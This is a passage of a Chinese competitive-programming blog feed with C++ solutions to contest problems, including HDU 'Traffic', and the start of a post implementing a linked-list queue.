class="keyword">return</span> x * f;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">ll <span class="title function_">LCM</span><span class="params">(ll a, ll b)</span></span><br><span class="line">{</span><br><span class="line"> <span class="keyword">return</span> a * b / __gcd(a, b);</span><br><span class="line">}</span><br><span class="line">ll t, n, m, a[maxn], b[maxn];</span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">{</span><br><span class="line"><span class="comment">// ios::sync_with_stdio(false);</span></span><br><span class="line"> <span class="keyword">while</span> (~<span class="built_in">scanf</span>(<span class="string">"%lld%lld"</span>, &n, &m))</span><br><span class="line"> {</span><br><span class="line"> ll temp = <span class="number">1</span>;</span><br><span class="line"> ll sum = <span class="number">0</span>, sum1 = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">1</span>; i <= n; i++)</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">scanf</span>(<span class="string">"%lld"</span>, &a[i]);</span><br><span class="line"> temp = LCM(a[i], temp);</span><br><span class="line"> sum1 += a[i];</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">1</span>; i <= n; i++)</span><br><span class="line"> {</span><br><span class="line"> b[i] = temp / a[i];</span><br><span class="line"> sum += b[i];</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (!(m % sum))</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Yes\n"</span>);</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">1</span>; i <= n; i++)</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(i == n ? <span class="string">"%lld\n"</span> : <span class="string">"%lld "</span>, b[i] * (m / sum));</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"No\n"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="1007-traffic"><a class="markdownIt-Anchor" href="#1007-traffic"></a> <a href="http://acm.hdu.edu.cn/showproblem.php?pid=6573">1007 Traffic</a></h2><h3 id="思路-4"><a class="markdownIt-Anchor" href="#思路-4"></a> 思路</h3><p>遍历使得任意<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mo stretchy="false">[</mo><mi>i</mi><mo stretchy="false">]</mo><mo stretchy="false">!</mo><mo>=</mo><mi>b</mi><mo stretchy="false">[</mo><mi>j</mi><mo stretchy="false">]</mo><mo>+</mo><mi>x</mi></mrow><annotation encoding="application/x-tex">a[i] != b[j] + x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">a</span><span class="mopen">[</span><span class="mord mathnormal">i</span><span class="mclose">]</span><span class="mclose">!</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">x</span></span></span></span>,求最小的x;</p><h3 id="ac代码-4"><a class="markdownIt-Anchor" href="#ac代码-4"></a> AC代码</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*************************************************************************</span></span><br><span class="line"><span class="comment"> > FileName:</span></span><br><span class="line"><span class="comment"> > Author: Lance</span></span><br><span class="line"><span class="comment"> > Mail: lancelot_hcs@qq.com</span></span><br><span class="line"><span class="comment"> > Date: 9102.1.8</span></span><br><span class="line"><span class="comment"> > Description:</span></span><br><span class="line"><span class="comment"> ************************************************************************/</span></span><br><span class="line"><span class="comment">//#include <bits/stdc++.h></span></span><br><span class="line"><span class="meta">#<span class="keyword">pragma</span> comment(linker, <span class="string">"/STACK:102400000,102400000"</span>)<span class="comment">//add_stack</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><algorithm></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><iostream></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><cstdlib></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><cstring></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><sstream></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><vector></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><cstdio></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bitset></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><string></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><cmath></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><deque></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><queue></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stack></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><map></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><set></span></span></span><br><span class="line">using namespace <span class="built_in">std</span>;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">long</span> <span class="type">long</span> ll;</span><br><span class="line"><span class="type">const</span> <span class="type">double</span> pi = <span class="built_in">acos</span>(<span class="number">-1.0</span>);</span><br><span class="line"><span class="type">const</span> <span class="type">int</span> eps = <span class="number">1e-10</span>;</span><br><span class="line"><span class="type">const</span> <span class="type">int</span> mod = <span class="number">1e9</span> + <span class="number">7</span>;</span><br><span class="line"><span class="meta">#<span class="keyword">define</span> debug(a) cout << <span class="string">"*"</span> << a << <span class="string">"*"</span> << endl</span></span><br><span class="line"><span class="type">const</span> <span class="type">int</span> INF = <span class="number">0x3f3f3f3f</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">const</span> <span class="type">int</span> maxn = <span class="number">1e6</span> + <span class="number">5</span>;</span><br><span class="line"></span><br><span class="line">ll <span class="title function_">read</span><span class="params">()</span></span><br><span class="line">{</span><br><span class="line"> ll x = <span class="number">0</span>,f = <span class="number">1</span>;</span><br><span class="line"> <span class="type">char</span> ch = getchar();</span><br><span class="line"> <span class="keyword">while</span> (ch < <span class="string">'0'</span> || ch > <span class="string">'9'</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (ch == <span class="string">'-'</span>)</span><br><span class="line"> f = <span class="number">-1</span>;</span><br><span class="line"> ch = getchar();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">while</span> (ch >= <span class="string">'0'</span> && ch <= <span class="string">'9'</span>)</span><br><span class="line"> {</span><br><span class="line"> x = x * <span class="number">10</span> + ch - <span class="string">'0'</span>;</span><br><span class="line"> ch = getchar();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> x * f;</span><br><span class="line">}</span><br><span class="line"><span class="type">int</span> t, n, m, a[maxn], b[maxn], v[maxn];</span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">{</span><br><span class="line"> <span class="keyword">while</span> (~<span class="built_in">scanf</span>(<span class="string">"%d%d"</span>, &n, &m))</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">memset</span>(v, <span class="number">0</span>, <span class="keyword">sizeof</span>(v));</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < n; i++)</span><br><span class="line"> a[i] = read();</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < m; i++)</span><br><span class="line"> b[i] = read();</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < n; i++)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> j = <span class="number">0</span>; j < m; j++)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (a[i] >= b[j])</span><br><span class="line"> {</span><br><span class="line"> v[a[i] - b[j]] = <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>;; i++)</span><br><span class="line"> <span class="keyword">if</span> (!v[i])</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%d\n"</span>, i);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><table><tr><td bgcolor="Yellow">这是一个值得庆幸的比赛 </td></tr></table></summary>
<category term="acm" scheme="https://blog.lancelot.top/tags/acm/"/>
<category term="补题" scheme="https://blog.lancelot.top/tags/%E8%A1%A5%E9%A2%98/"/>
</entry>
<entry>
<title>Queue</title>
<link href="https://blog.lancelot.top/2019/10/Queue/"/>
<id>https://blog.lancelot.top/2019/10/Queue/</id>
<published>2019-10-16T13:36:38.000Z</published>
<updated>2024-03-28T13:01:14.374Z</updated>
<content type="html"><![CDATA[<table><tr><td bgcolor="CornflowerBlue">队列,以前只是用在BFS里,再者就是SPFA的队列优化了,不过之前用的都是stl打法,嘻嘻~ </td></tr></table><span id="more"></span><h2 id="我的代码"><a class="markdownIt-Anchor" href="#我的代码"></a> 我的代码</h2><h3 id="队列的单链表实现"><a class="markdownIt-Anchor" href="#队列的单链表实现"></a> 队列的单链表实现</h3><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*************************************************************************</span></span><br><span class="line"><span class="comment"> > FileName:</span></span><br><span class="line"><span class="comment"> > Author: Lance</span></span><br><span class="line"><span class="comment"> > Mail: lancelot_hcs@qq.com</span></span><br><span class="line"><span class="comment"> > Date: 9102.1.8</span></span><br><span class="line"><span class="comment"> > Description: eg:1-7</span></span><br><span class="line"><span class="comment"> ************************************************************************/</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><iostream></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><algorithm></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><cstdio></span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="meta">#<span class="keyword">define</span> debug(a) cout << <span class="string">"*"</span> << a << <span class="string">"*"</span> << endl</span></span><br><span class="line"><span class="type">const</span> <span class="type">int</span> INF = <span class="number">0x3f3f3f3f</span>;</span><br><span class="line"><span class="type">const</span> <span class="type">int</span> maxn = <span class="number">1e5</span> + <span class="number">5</span>;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="type">int</span> Status;</span><br><span class="line"><span class="comment">//宏</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> ERROR 0</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> OK 1</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> OVERFLOW -2</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">template</span> <<span class="keyword">typename</span> Ele></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">_Queue</span></span><br><span class="line">{</span><br><span class="line"> <span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">QNode</span></span><br><span class="line"> {</span><br><span class="line"> Ele data;</span><br><span class="line"> <span class="keyword">struct</span> <span class="title class_">QNode</span> *next;</span><br><span class="line"> } QNode, *LinkQueue;</span><br><span class="line"></span><br><span class="line"> LinkQueue front;</span><br><span class="line"> LinkQueue rear;</span><br><span class="line"> Ele e;</span><br><span class="line"></span><br><span class="line"> <span class="function">Status <span class="title">InitQueue</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> rear = front = (LinkQueue)<span class="built_in">malloc</span>(<span class="built_in">sizeof</span>(QNode));</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!front)</span><br><span class="line"> <span class="built_in">exit</span>(OVERFLOW);</span><br><span class="line"></span><br><span class="line"> rear->next = front->next;</span><br><span class="line"> <span class="keyword">return</span> OK;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="type">void</span> <span class="title">DestroyQueue</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> LinkQueue L = front;</span><br><span class="line"> <span class="keyword">while</span> (!<span class="built_in">Qempty</span>())</span><br><span class="line"> {</span><br><span class="line"> front = front->next;</span><br><span class="line"> <span class="built_in">free</span>(L);</span><br><span class="line"> L = front;</span><br><span class="line"> }</span><br><span class="line"> rear = <span class="literal">NULL</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function">Status <span class="title">clear</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> LinkQueue L = front;</span><br><span class="line"> <span class="keyword">while</span> (!<span class="built_in">Qempty</span>())</span><br><span class="line"> {</span><br><span class="line"> front = front->next;</span><br><span class="line"> <span class="built_in">free</span>(L);</span><br><span class="line"> L = front;</span><br><span class="line"> }</span><br><span class="line"> front = rear;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="type">bool</span> <span class="title">Qempty</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> rear == front;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="type">int</span> <span class="title">Qlength</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="type">int</span> Len = <span class="number">0</span>;</span><br><span class="line"> LinkQueue L = front;</span><br><span class="line"> <span class="keyword">while</span> (L)</span><br><span class="line"> {</span><br><span class="line"> L = L->next;</span><br><span class="line"> Len++;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> Len - <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function">Status <span class="title">GetHead</span><span class="params">(Ele &e)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> e = front->next->data;</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">Qempty</span>() ? ERROR : OK;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function">Status <span class="title">EnQueue</span><span class="params">(Ele e)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"></span><br><span class="line"> rear->next = (LinkQueue)<span class="built_in">malloc</span>(<span class="built_in">sizeof</span> (QNode));</span><br><span class="line"> <span class="keyword">if</span> (!rear->next)</span><br><span class="line"> <span class="keyword">return</span> ERROR;</span><br><span class="line"> rear = rear->next;</span><br><span class="line"> rear->data= e;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> OK;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function">Status <span class="title">DeQueue</span><span class="params">(Ele &e)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">if</span> (!<span class="built_in">Qempty</span>())</span><br><span class="line"> {</span><br><span class="line"> LinkQueue L = front;</span><br><span class="line"> front = front->next;</span><br><span class="line"> <span class="built_in">free</span>(L);</span><br><span class="line"> <span class="keyword">return</span> OK;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> ERROR;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function">Status <span class="title">QTraverse</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> LinkQueue L = front;</span><br><span class="line"> cout << <span class="string">"队列:"</span>;</span><br><span class="line"> <span class="keyword">while</span> (L != rear)</span><br><span class="line"> {</span><br><span class="line"> cout << L->next->data << <span class="string">' '</span>;</span><br><span class="line"> L = L->next;</span><br><span class="line"> }</span><br><span class="line"> cout << endl << endl;</span><br><span class="line"> }</span><br><span class="line">};</span><br></pre></td></tr></table></figure><h3 id="队列的顺序表实现"><a class="markdownIt-Anchor" href="#队列的顺序表实现"></a> 队列的顺序表实现</h3><h2 id="stl源码"><a class="markdownIt-Anchor" href="#stl源码"></a> stl源码</h2><p>心血来潮抄了stl份源码,结果…看不懂。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span 